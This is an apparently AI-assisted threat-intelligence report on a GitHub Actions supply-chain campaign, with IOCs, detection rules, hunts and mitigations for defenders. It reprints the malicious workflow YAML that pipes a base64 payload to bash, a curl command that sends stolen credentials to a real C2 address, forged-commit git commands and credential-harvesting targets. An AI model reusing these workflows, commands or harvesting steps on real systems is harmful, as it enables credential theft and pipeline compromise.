

Operation Megalodon

GitHub Supply Chain Attack — Threat Intelligence Report

Published: 2026-05-27 | TLP: AMBER | Version: 1.0 | Author: Lost Boys Cyber

AI Generation: This report was generated with AI assistance and is provided for informational purposes only. All findings, detection rules, and recommendations must be independently reviewed and validated by a qualified security professional before implementation. Verify all details against the latest vendor advisories and primary sources before relying on this document.

1. Executive Summary

On 18 May 2026, a highly automated supply chain attack designated Operation Megalodon was executed against the public GitHub ecosystem. Within a six-hour window, the threat actor TeamPCP pushed 5,718 malicious commits to 5,561 distinct repositories, injecting credential-stealing GitHub Actions workflows. The campaign represents one of the largest and fastest-moving CI/CD supply chain attacks ever recorded.

The attack leveraged compromised developer credentials, sourced almost exclusively from infostealer infections, to authenticate as legitimate repository owners. Malicious workflows — disguised as routine CI maintenance — executed base64-encoded bash payloads on victim CI/CD runners, harvesting cloud credentials, SSH keys, API tokens, and source-code secrets before exfiltrating the data to a command-and-control (C2) server at 216.126.225.129:8443. Confirmed exfiltration totalled 575,352 files and 449 GB of stolen material.

Two workflow variants were deployed: SysDiag (mass exploitation, triggered on every push/PR) and Optimize-Build (targeted dormant backdoor, triggered on manual workflow_dispatch). The Tiledesk npm package (@tiledesk/tiledesk-server versions 2.18.6 through 2.18.12) was confirmed poisoned as a downstream artefact of the attack.

TeamPCP is assessed as a financially and geopolitically motivated actor with confirmed links to previous GitHub infrastructure breaches, TanStack, Grafana Labs, OpenAI, Mistral AI, and the Mini Shai-Hulud npm worm. The group has demonstrated wiper-malware capability against targets in Iran and Israel, indicating potential nation-state alignment alongside criminal operations.

Field	Detail
Campaign Name	Operation Megalodon
Date / Time	2026-05-18, 11:36–17:48 UTC (6-hour window)
Repos Compromised	5,561 public GitHub repositories
Malicious Commits	5,718
Data Exfiltrated	575,352 files / 449 GB
Attribution	TeamPCP (high confidence)
C2 Server	216.126.225.129:8443
Attack Class	Direct Poisoned Pipeline Execution (d-PPE) — MITRE T1195.002
TLP Classification	TLP:AMBER — Restricted distribution

2. Threat Actor Profile: TeamPCP

TeamPCP is a sophisticated threat actor assessed with high confidence to be responsible for Operation Megalodon and a series of interconnected supply chain attacks throughout early-to-mid 2026. The group

operates with both financial and geopolitical motivations, a combination characteristic of hybrid nation-state-affiliated criminal collectives.

2.1 Background

- Known aliases / associated campaigns: Mini Shai-Hulud worm, Shai-Hulud npm campaign, Megalodon, TeamPCP GitHub internal breach
- Previous high-profile victims: TanStack, Grafana Labs, OpenAI, Mistral AI, GitHub (3,800+ internal repos breached via malicious Nx Console VS Code extension)
- Linked threat groups: LAPSUS\$, VECT
- Financial motive: Extortion via BreachForums partnerships; credential monetisation
- Geopolitical motive: Wiper malware deployed against targets detected in Iran and Israel

2.2 Initial Access Vector

Hudson Rock analysis confirmed that the initial access for Megalodon was almost exclusively derived from infostealer infections affecting developer endpoints. Of 978 unique GitHub usernames associated with the 5,561 compromised repositories, 331 (33.8%) were direct matches to computers infected by infostealer malware in threat intelligence logs. Additional matches were found by cross-referencing email addresses tied to GitHub accounts.

The use of infostealer-sourced credentials represents a scalable, cost-efficient initial access strategy. TeamPCP likely acquired bulk credential dumps from underground markets (such as BreachForums, where the group has established partnerships) rather than conducting targeted phishing campaigns.

2.3 Operational Sophistication

- Automated tooling capable of 5,718 commits in 6 hours (~1,000 commits/hour)
- Use of throwaway GitHub accounts with randomised 8-character usernames (e.g., rkb8el9r, bhlru9nr, lo6wt4t6)
- Systematic rotation of four forged git author identities and seven commit messages to evade pattern matching
- Hardcoded historical commit date (September 17, 2001) — a known evasion technique previously observed in TeamPCP's Shai-Hulud campaign (which used January 2099)
- Dual-variant payload strategy balancing reach (SysDiag) with operational security (Optimize-Build)
- Parallel cryptocurrency theft campaign via malicious Polymarket npm packages

3. Campaign Overview and Attack Timeline

3.1 Pre-Attack Phase: Credential Acquisition

Prior to May 18, TeamPCP accumulated a corpus of compromised GitHub developer credentials through infostealer malware campaigns. These credentials included Personal Access Tokens (PATs), deploy keys, and OAuth tokens with repository write access. The group systematically validated credentials and identified repositories without branch protection or commit signing requirements.

3.2 Attack Execution (May 18, 2026)

The attack began at 11:36 AM UTC. Using automated tooling, TeamPCP iterated through compromised credentials and targeted repository lists, executing the following steps for each target:

- Authenticate to GitHub API using compromised PAT or deploy key

- Fork or clone target repository using throwaway account
- Add or replace .github/workflows/ YAML file with malicious workflow (SysDiag or Optimize-Build variant)
- Forge git author identity using git config user.name and user.email
- Set commit date to hardcoded value 2001-09-17T00:00:00Z
- Push commit with one of seven pre-crafted commit messages mimicking CI maintenance
- For SysDiag: submit pull request to merge into main/master branch

The attack concluded at 5:48 PM UTC, having compromised 5,561 repositories across the public GitHub ecosystem at a sustained rate of approximately 1,000 commits per hour.

3.3 Execution Phase: Workflow Activation

Once a repository owner merged a malicious pull request (SysDiag variant), or when the attacker manually triggered a workflow via the GitHub API (Optimize-Build variant), the malicious GitHub Actions runner activated and executed the base64-decoded bash payload. The payload systematically harvested credentials and exfiltrated them to the C2 server.

The attacker gained additional GITHUB_TOKENs from successful workflow executions, enabling further lateral movement to linked repositories and organisations in a worm-like propagation pattern.

3.4 Scale and Impact

- 5,561 repositories compromised across public GitHub
- 575,352 individual files exfiltrated
- 449 GB total data exfiltrated to C2
- Confirmed npm package poisoning: @tiledesk/tiledesk-server v2.18.6 through v2.18.12
- Confirmed high-profile victims: Tiledesk (9 repos), Black-Iron-Project (8 repos), WISE-Community
- Downstream risk: Any project installing poisoned Tiledesk npm packages during attack window
- OX Security independently confirmed 3,500+ repositories carrying infected YAML files

4. Technical Analysis of Attack Methodology

4.1 Attack Class: Direct Poisoned Pipeline Execution (d-PPE)

Megalodon is classified as a direct Poisoned Pipeline Execution (d-PPE) attack. In d-PPE, the attacker has write access to the repository and directly modifies workflow files without requiring a victim to approve the changes. This contrasts with indirect PPE (i-PPE), where the attacker manipulates configuration files the pipeline reads but which exist outside the workflow definition itself.

The d-PPE technique is particularly dangerous because: the malicious workflow executes within the trust context of the victim's CI/CD pipeline; the GITHUB_TOKEN and all registered secrets are automatically made available; cloud provider OIDC tokens can be requested; and execution happens on the runner infrastructure, which may have access to internal networks and services.

4.2 Workflow Injection Mechanics

The attacker created or replaced files at .github/workflows/[name].yml. The YAML structure appeared legitimate at a glance, using generic CI/CD names (SysDiag, Optimize-Build) and formatted to blend with existing automation. The payload was embedded as a single base64-encoded string within a run: step, prefixed by the distinctive identifier Q0I9Imh0dHA6Ly8yMTYu.

SysDiag Variant Structure (Mass Exploitation)

```
| name: SysDiag
```

```

on:
  push:
    branches: ["*"]
  pull_request:
    branches: ["*"]
jobs:
  diagnostics:
    runs-on: ubuntu-latest
    steps:
      - name: Run Diagnostics
        run: |
          echo Q0I9Imh0dHA6Ly8yMTYuMTI2LjIyNS4xMjk6ODQ0My9jb2xsZWNO | base64 -d |
bash

```

Optimize-Build Variant Structure (Targeted / Dormant)

```

name: Optimize-Build
on:
  workflow_dispatch:
jobs:
  optimize:
    runs-on: ubuntu-latest
    steps:
      - name: Optimize Build Pipeline
        run: |
          echo Q0I9Imh0dHA6Ly8yMTYuMTI2LjIyNS4xMjk6ODQ0My9jb2xsZWNO | base64 -d |
bash

```

4.3 Forged Commit Identity

The attacker systematically forged git author metadata to impersonate legitimate automation accounts. This is a trivial operation in git, as the author fields are client-controlled and not verified by GitHub by default (in the absence of required commit signing):

```

git config user.name "build-bot"
git config user.email "build-bot@github-ci.com"
GIT_AUTHOR_DATE="2001-09-17T00:00:00Z" GIT_COMMITTER_DATE="2001-09-17T00:00:00Z"
git commit -m "ci: add build optimization step"

```

The seven observed commit messages were: "ci: add build optimization step", "chore: optimize pipeline runtime", "chore: update ci/cd pipeline", and four additional variants following the same pattern of mimicking routine CI maintenance activity.

5. Payload Capabilities and Exfiltrated Data

5.1 Credential Harvesting Scope

The base64-decoded bash payload performed a comprehensive sweep of the CI/CD runner environment for credential material. The following categories of data were targeted:

Cloud Credentials

- AWS: aws configure list-profiles, ~/.aws/credentials, ~/.aws/config, IMDSv2 metadata endpoint for instance role credentials
- Google Cloud: ~/.config/gcloud/application_default_credentials.json, GCP metadata server for access tokens and service account credentials

- Azure: Azure IMDS endpoint (169.254.169.254), ~/.azure/credentials, service principal credentials

CI/CD and Source Control Tokens

- GITHUB_TOKEN — automatically injected by GitHub Actions for every workflow run
- GitHub Actions OIDC token request URL and bearer token
- GitLab CI_JOB_TOKEN and CI_REGISTRY_PASSWORD
- Bitbucket pipeline tokens

Developer and Infrastructure Credentials

- SSH private keys (find / -name "id_rsa" -o -name "id_ed25519"; ~/.ssh/)
- Docker registry credentials (~/docker/config.json)
- Kubernetes configuration (~/kube/config, service account tokens at /var/run/secrets/kubernetes.io/)
- HashiCorp Vault tokens (\$VAULT_TOKEN, ~/.vault-token)
- Terraform Cloud tokens (~/terraform.d/credentials.tfrc.json)

API Keys via Regex Pattern Matching

A base64-encoded regex bundle targeting 30+ secret patterns was decoded at runtime and applied against the full runner filesystem and environment. Targeted patterns included:

- AWS secret access keys (AKIA..., ASIA...)
- Slack API tokens (xoxb-, xoxp-, xoxa-)
- GitHub personal access tokens (ghp_, gho_, ghs_, ghr_)
- PyPI API tokens, npm tokens
- Stripe, Twilio, SendGrid API keys
- Generic high-entropy string patterns for unstructured secrets

Process and Environment Data

- /proc/*/environ — environment variables from all running processes
- PID 1 environment — base system environment at container initialisation
- Shell history files (.bash_history, .zsh_history)
- .env files throughout the filesystem

5.2 Exfiltration Mechanism

Collected credentials were bundled, gzip-compressed, and transmitted via HTTPS POST to the C2 server at 216.126.225.129:8443/collect. The "megalodon" string was included as a parameter, likely for campaign tracking and server-side routing:

```
curl -sk -X POST https://216.126.225.129:8443/collect?c=megalodon \
-H "Content-Type: application/octet-stream" \
--data-binary @/tmp/.bundle.gz
```

The use of port 8443 (alternative HTTPS) and a self-signed certificate (-sk flag) allowed the exfiltration to blend with normal HTTPS traffic while avoiding default port filtering.

6. Related Threat Activity

6.1 Malicious Polymarket npm Packages

Simultaneously with the GitHub workflow injection campaign, a throwaway npm account ("polymarketdev") published nine malicious packages impersonating Polymarket trading tools. The packages contained a postinstall hook that displayed a fake wallet onboarding prompt soliciting the user's Ethereum/Polygon private key, claiming it would be stored encrypted. In reality, the key was transmitted in plaintext to a Cloudflare Worker at `hxxps://polymarketbot.polymarketdev.workers[.]dev/v1/wallets/keys`.

This secondary campaign demonstrates TeamPCP's capacity to run concurrent operations targeting different victim profiles: developers via CI/CD compromise and cryptocurrency users via malicious npm packages.

6.2 GitHub Internal Breach (TeamPCP Precursor)

The Megalodon campaign occurred in the immediate aftermath of TeamPCP's breach of GitHub's own internal infrastructure via a malicious Nx Console VS Code extension. That incident, which preceded Megalodon by days, resulted in the exfiltration of over 3,800 internal GitHub repositories. The Megalodon campaign can be understood as the second phase of a broader attack: first compromise the platform operator, then weaponise the platform against its users.

6.3 Mini Shai-Hulud Worm

TeamPCP's Mini Shai-Hulud npm worm, which spread through the npm ecosystem prior to Megalodon, established the initial credential pipeline that fed into the GitHub attack. The worm harvested npm tokens and GitHub PATs that were subsequently used in Megalodon to authenticate against target repositories. npm's response — invalidating all granular access tokens with write access that bypassed 2FA — was triggered by this interconnected threat chain.

7. MITRE ATT&CK Mapping

Technique ID	Technique	Tactic	Observed Behaviour
T1195.002	Supply Chain Compromise: Compromise Software Supply Chain	Initial Access	Injected malicious GitHub Actions workflows into 5,561 repositories
T1078	Valid Accounts	Initial Access / Persistence	Used infostealer-stolen PATs and deploy keys to authenticate as legitimate developers
T1036.005	Masquerading: Match Legitimate Name or Location	Defense Evasion	Forged git author identities (build-bot, auto-ci, ci-bot) and hardcoded commit date Sep 17 2001
T1027.010	Obfuscated Files or Information: Command Obfuscation	Defense Evasion	Payload embedded as base64-encoded bash within GitHub Actions YAML
T1059.004	Command and Scripting Interpreter: Unix Shell	Execution	Base64-decoded bash payload executed in GitHub Actions runner context
T1552.001	Unsecured Credentials: Credentials In Files	Credential Access	Harvested .env, credentials.json, service-

Technique ID	Technique	Tactic	Observed Behaviour
			account.json, .npmrc, .kube/config
T1552.004	Unsecured Credentials: Private Keys	Credential Access	Enumerated and exfiltrated SSH private keys from CI runner filesystem
T1552.007	Unsecured Credentials: Container API	Credential Access	Queried AWS IMDSv2, GCP metadata, Azure IMDS for instance role credentials
T1526	Cloud Service Discovery	Discovery	Enumerated AWS profiles via aws configure list-profiles; GCP and Azure metadata APIs
T1041	Exfiltration Over C2 Channel	Exfiltration	HTTPS POST to 216.126.225.129:8443 with gzipped stolen credential bundle
T1530	Data from Cloud Storage Object	Collection	Targeted cloud credential files and tokens for AWS, GCP, Azure, Docker, Kubernetes
T1583.001	Acquire Infrastructure: Domains	Resource Development	Registered lookalike domains (github-ci.com, automated.dev, noreply.dev) for forged git email addresses

8. Indicators of Compromise

Type	Category	Value / Description
Network	IP / Port	216.126.225.129:8443 — C2 exfiltration endpoint
Network	URL Pattern	hxxps://216[.]126[.]225[.]129:8443/collect — POST endpoint for stolen credentials
Network	URL Parameter	megalodon — string passed as parameter in C2 POST request
File / Code	YAML String	Q0I9Imh0dHA6Ly8yMTYu — base64 prefix of malicious payload in GitHub Actions YAML
File / Code	Workflow Name	SysDiag — mass variant workflow name
File / Code	Workflow Name	Optimize-Build — targeted workflow_dispatch variant name
Commit	Anchor Hash	acac5a9854650c4ae2883c4740bf8

Type	Category	Value / Description
		7d34120c038 — first confirmed malicious commit (Tiledesk)
Identity	Git Author	build-bot, auto-ci, ci-bot, pipeline-bot — forged commit author names
Identity	Git Email	build-bot@github-ci.com — forged commit author email
Identity	Git Email	ci-pipeline@actions-bot.com — forged commit author email
Identity	Git Email	ci-bot@automated.dev — forged commit author email
Identity	Git Email	build-system@noreply.dev — forged commit author email
Identity	Username Pattern	Random 8-character lowercase throwaway GitHub usernames (e.g. rkb8el9r, bhlru9nr, lo6wt4t6)
Identity	Commit Date	2001-09-17 — hardcoded historical date used to forge all malicious commits
npm	Package	polymarket-trading-cli, polymarket-terminal, polymarket-trade, polymarket-auto-trade
npm	Package	polymarket-copy-trading, polymarket-bot, polymarket-claude-code, polymarket-ai-agent, polymarket-trader
npm	Account	polymarketdev — throwaway npm account used to publish malicious Polymarket packages
npm	C2 URL	hxxps://polymarketbot.polymarketdev.workers[.]dev/v1/wallets/keys — Ethereum key exfil endpoint
Commit	Message	ci: add build optimization step — one of 7 forged CI commit messages
Commit	Message	chore: optimize pipeline runtime / chore: update ci/cd pipeline — forged commit messages

9. Detection Rules

9.1 Sigma: GitHub Actions Workflow Injection

```

title: Megalodon Malicious GitHub Actions Workflow Injection
id: a1b2c3d4-e5f6-7890-abcd-megalodon0001
status: stable

```

```
description: >
  Detects addition or modification of GitHub Actions workflow files
  containing the Megalodon base64 payload prefix or known malicious workflow names.
author: Lost Boys Cyber
date: 2026-05-27
tags:
  - attack.initial_access
  - attack.t1195.002
  - attack.defense_evasion
  - attack.t1027.010
logsource:
  category: github_audit
  product: github
detection:
  workflow_file:
    EventType: 'workflows.updated'
    OR
    EventType: 'workflows.created'
  payload_indicators:
    FileContent|contains:
      - 'Q0I9Imh0dHA6Ly8yMTYu'
      - 'SysDiag'
      - 'Optimize-Build'
      - '216.126.225.129'
      - 'megalodon'
    condition: workflow_file AND payload_indicators
falsepositives:
  - Legitimate workflow files with coincidental naming
level: critical
```

9.2 Sigma: C2 Exfiltration from CI/CD Runner

```
title: Megalodon C2 Exfiltration via CI/CD Runner
id: b2c3d4e5-f6a7-8901-bcde-megalodon0002
status: stable
description: >
  Detects outbound HTTPS connections from CI/CD runner processes
  to the Megalodon C2 server at 216.126.225.129.
author: Lost Boys Cyber
date: 2026-05-27
tags:
  - attack.exfiltration
  - attack.t1041
logsource:
  category: network_connection
  product: linux
detection:
  selection:
    DestinationIp: '216.126.225.129'
    DestinationPort: 8443
    CommandLine|contains:
      - 'curl'
      - 'wget'
```

```
condition: selection
falsepositives:
  - None expected
level: critical
```

9.3 Sigma: Forged Git Identity in CI Commit

```
title: Megalodon Forged Git Identity in CI Commit
id: c3d4e5f6-a7b8-9012-cdef-megalodon0003
status: stable
description: >
  Detects commits authored by known Megalodon bot identities or
  commits with historically anomalous timestamps.
author: Lost Boys Cyber
date: 2026-05-27
tags:
  - attack.defense_evasion
  - attack.t1036.005
logsource:
  category: github_audit
  product: github
detection:
  selection:
    AuthorEmail|contains:
      - '@github-ci.com'
      - '@actions-bot.com'
      - '@automated.dev'
      - 'noreply.dev'
    author_names:
      AuthorName|contains:
        - 'build-bot'
        - 'auto-ci'
        - 'ci-bot'
        - 'pipeline-bot'
    condition: selection OR author_names
falsepositives:
  - Internal CI bots with similar naming conventions – validate against approved
    bot list
level: high
```

9.4 KQL: Megalodon C2 Network Connections

```
// KQL: Megalodon C2 Network Connections from CI Runners
// Platform: Microsoft Defender for Endpoint / Microsoft Sentinel
DeviceNetworkEvents
| where RemoteIP == "216.126.225.129"
| where RemotePort == 8443
| where ActionType == "ConnectionSuccess"
| project Timestamp, DeviceName, InitiatingProcessFileName,
    InitiatingProcessCommandLine, RemoteIP, RemotePort
| order by Timestamp desc
```

9.5 KQL: Credential Enumeration in CI Context

```
// KQL: Megalodon Credential Enumeration Behaviour in CI Context
// Detect aws configure list-profiles, /proc/environ reads, SSH key access
DeviceProcessEvents
| where ProcessCommandLine has_any (
    "aws configure list-profiles",
    "/proc/1/environ",
    "ssh-keyscan",
    "find / -name id_rsa",
    "cat ~/.docker/config.json",
    ".kube/config"
)
| where InitiatingProcessFileName in~ ("bash","sh","runner","node")
| project Timestamp, DeviceName, AccountName,
    ProcessCommandLine, InitiatingProcessFileName
| order by Timestamp desc
```

9.6 KQL: Base64 Payload in GitHub Audit Logs

```
// KQL: Base64-Encoded Megalodon Payload in GitHub Audit Logs
// Platform: Microsoft Sentinel with GitHub Audit connector
GitHubAuditData
| where Action in ("workflows.created","workflows.updated","push")
| where Content has_any (
    "Q0I9Imh0dHA6Ly8yMTYu",
    "SysDiag",
    "Optimize-Build",
    "216.126.225.129",
    "megalodon"
)
| project TimeGenerated, Actor, Action, Repository, Branch, Content
| order by TimeGenerated desc
```

10. Threat Hunting

10.1 Hunt: GitHub Repositories with Megalodon Signatures

Use the GitHub Code Search API or the GitHub web interface to identify infected repositories still carrying the malicious payload. The base64 prefix Q0I9Imh0dHA6Ly8yMTYu is a reliable unique indicator.

```
// HUNT: GitHub Repos with Megalodon Workflow Signatures
// GitHub Code Search (API)
https://api.github.com/search/code?q=Q0I9Imh0dHA6Ly8yMTYu+in:file+language:yaml
// Also search for workflow names:
https://api.github.com/search/code?q="name:+SysDiag"+in:file+path:.github/workflows
https://api.github.com/search/code?q="name:+Optimize-Build"+in:file+path:.github/workflows
```

10.2 Hunt: Infostealer-Sourced Developer Accounts

Cross-reference GitHub account usernames and email addresses from your organisation against commercially available infostealer intelligence feeds (Hudson Rock, Flare, KELA, etc.). Particular focus should be placed on accounts with repository write access.

```
// HUNT: Infostealer-Compromised Developer Accounts
// Cross-reference affected GitHub usernames against infostealer logs
// Hudson Rock found 33%+ of 978 affected usernames matched stealer records

// KQL: Find logins from git accounts matching 8-char random patterns
SigninLogs
| where AppDisplayName has "GitHub"
| where UserPrincipalName matches regex @"^[a-z0-9]{8}@"
| project TimeGenerated, UserPrincipalName, IPAddress, Location
| order by TimeGenerated desc
```

10.3 Hunt: CI Runner Exfiltration Volume Anomalies

Monitor for unusual outbound data volumes from CI/CD runner processes, particularly large transfers to IP addresses outside expected cloud provider ranges.

```
// HUNT: CI Runner Exfiltration Volume Spike
// Large data transfer from GitHub Actions runner ips
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("bash", "sh", "python", "node", "runner")
| where SentBytes > 1000000 // > 1 MB outbound
| where RemotePort in (443, 8443)
| summarize TotalSentMB = sum(SentBytes)/1048576 by
    DeviceName, RemoteIP, bin(Timestamp, 1h)
| where TotalSentMB > 10
| order by TotalSentMB desc
```

10.4 Hunt: Workflow Files Added by External Contributors

Audit your organisation's repositories for any workflow file added or modified by users who are not organisation members. GitHub Audit Log API can be queried for push events where the actor is not in your org's member list.

```
gh api /orgs/{org}/audit-log --paginate \
  --jq '.[ ] | select(.action == "push") | select(.actor | test("^[a-z0-9]{8}$"))'
```

11. Mitigation and Remediation

11.1 Immediate Response Actions

Priority	Action	Implementation
CRITICAL	Block C2 server	Block 216.126.225.129 at perimeter firewall and endpoint DNS
CRITICAL	Rotate all CI/CD credentials	Revoke and reissue GITHUB_TOKEN, PATs, deploy keys, AWS/GCP/Azure service account keys, npm tokens for all

Priority	Action	Implementation
		affected repos
CRITICAL	Audit GitHub workflows	Review .github/workflows/ in all repos for SysDiag, Optimize-Build, or any workflow containing Q0I9Imh0dHA6Ly8yMTYu
HIGH	Enable branch protection	Require at least one PR review before merge; include administrators; enable dismiss stale reviews
HIGH	Require signed commits	Enable commit signing via Sigstore/cosign or GPG to prevent identity forgery in git history
HIGH	Enforce MFA on all developer accounts	Mandate TOTP or hardware key MFA; migrate npm tokens to Trusted Publishing
HIGH	Restrict GITHUB_TOKEN permissions	Set default token permissions to read-only in org settings; grant write only where required
MEDIUM	Protect .github/ with CODEOWNERS	Require security team review for any change to .github/workflows/ via CODEOWNERS file
MEDIUM	Deploy StepSecurity Harden-Runner	Install Harden-Runner GitHub Action to detect and block anomalous network calls from CI runners
MEDIUM	Pin GitHub Actions to commit SHAs	Replace tag-based action references (uses: actions/checkout@v4) with pinned SHA hashes to prevent hijacking
LOW	Infostealer infection screening	Enrol developers in infostealer monitoring (Hudson Rock, KELA, Flare); treat any infostealer hit as mandatory credential rotation

11.2 npm-Specific Remediation

npm invalidated all granular access tokens with write access that bypassed two-factor authentication in response to TeamPCP activity. All npm maintainers should:

- Verify that npm tokens have been rotated following the npm invalidation event
- Migrate to Trusted Publishing (GitHub Actions OIDC) to eliminate the need for long-lived static tokens
- Audit published packages for postinstall scripts introduced during the attack window
- Review downstream dependencies for @tiledesk/tiledesk-server versions 2.18.6 through 2.18.12 and upgrade to a clean version immediately

12. References

SafeDep: Megalodon — Mass GitHub Repo Backdooring via CI Workflows. <https://safedep.io/megalodon-mass-github-repo-backdooring-ci-workflows/>

StepSecurity: Megalodon Mass GitHub Actions Secret Exfiltration Across 5,500+ Public Repositories. <https://www.stepsecurity.io/blog/megalodon-mass-github-actions-secret-exfiltration-across-5-500-public-repositories>

OX Security: Megalodon — New CI/CD Malware Spreads Across GitHub. <https://www.ox.security/blog/megalodon-cicd-malware-github/>

The Hacker News: Megalodon GitHub Attack Targets 5,561 Repos with Malicious CI/CD Workflows. <https://thehackernews.com/2026/05/megalodon-github-attack-targets-5561.html>

Rescana: Megalodon Supply Chain Attack: TeamPCP Compromises 5,561 GitHub Repositories. <https://www.rescana.com/post/megalodon-supply-chain-attack-teampcp-compromises-5-561-github-repositories-via-malicious-ci-cd-workflows>

Hudson Rock: Megalodon Supply Chain Attack Attribution via Infostealer Data. <https://hudsonrock.com/blog/megalodon-supply-chain-attack>

Socket: npm Invalidates Tokens — Mini Shai-Hulud Analysis. <https://socket.dev/blog/npm-invalidates-tokens-mini-shai-hulud>

MITRE ATT&CK: T1195.002 Supply Chain Compromise. <https://attack.mitre.org/techniques/T1195/002/>
npm Trusted Publishing Documentation. <https://docs.npmjs.com/trusted-publishers/>